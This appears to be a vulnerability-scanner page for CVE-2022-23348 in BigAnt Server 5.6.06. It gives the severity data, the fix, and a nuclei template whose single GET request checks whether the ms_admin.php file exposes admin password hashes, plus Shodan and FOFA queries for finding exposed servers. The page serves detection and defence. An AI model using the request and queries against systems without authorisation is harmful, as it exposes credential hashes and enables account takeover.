BigAnt Server 5.6.06 - Improper Access Control

mediumseverity

5.3CVSS score

3.3%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

BigAnt Server 5.6.06 is susceptible to improper access control. The software utililizes weak password hashes. An attacker can craft a password hash and thereby possibly possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

Unauthenticated attackers can access the ms_admin.php file containing weak password hashes for administrative accounts, potentially facilitating password cracking and unauthorized access.

Fix

Apply the latest security patches or updates provided by the vendor to fix the access control issue.

How to confirm it

Send: GET {{BaseURL}}/Runtime/Data/ms_admin.php
Positive when: contains "\"user_name\";" and "\"user_pwd\";" and "\"user_id\";" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-23348 -u <target>

The full check

id: CVE-2022-23348

info:
  name: BigAnt Server 5.6.06 - Improper Access Control
  author: arafatansari
  severity: medium
  description: |
    BigAnt Server 5.6.06 is susceptible to improper access control. The software utililizes weak password hashes. An attacker can craft a password hash and thereby possibly possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Unauthenticated attackers can access the ms_admin.php file containing weak password hashes for administrative accounts, potentially facilitating password cracking and unauthorized access.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the access control issue.
  reference:
    - https://github.com/bzyo/cve-pocs/tree/master/CVE-2022-23348
    - http://bigant.com
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23348
    - https://www.bigantsoft.com/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-23348
    cwe-id: CWE-916
    epss-score: 0.03273
    epss-percentile: 0.88519
    cpe: cpe:2.3:a:bigantsoft:bigant_server:5.6.06:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: bigantsoft
    product: bigant_server
    shodan-query: http.html:"bigant"
    fofa-query: body="bigant"
  tags: cve,cve2022,bigant,unauth,exposure,bigantsoft,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Runtime/Data/ms_admin.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"user_name";'
          - '"user_pwd";'
          - '"user_id";'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from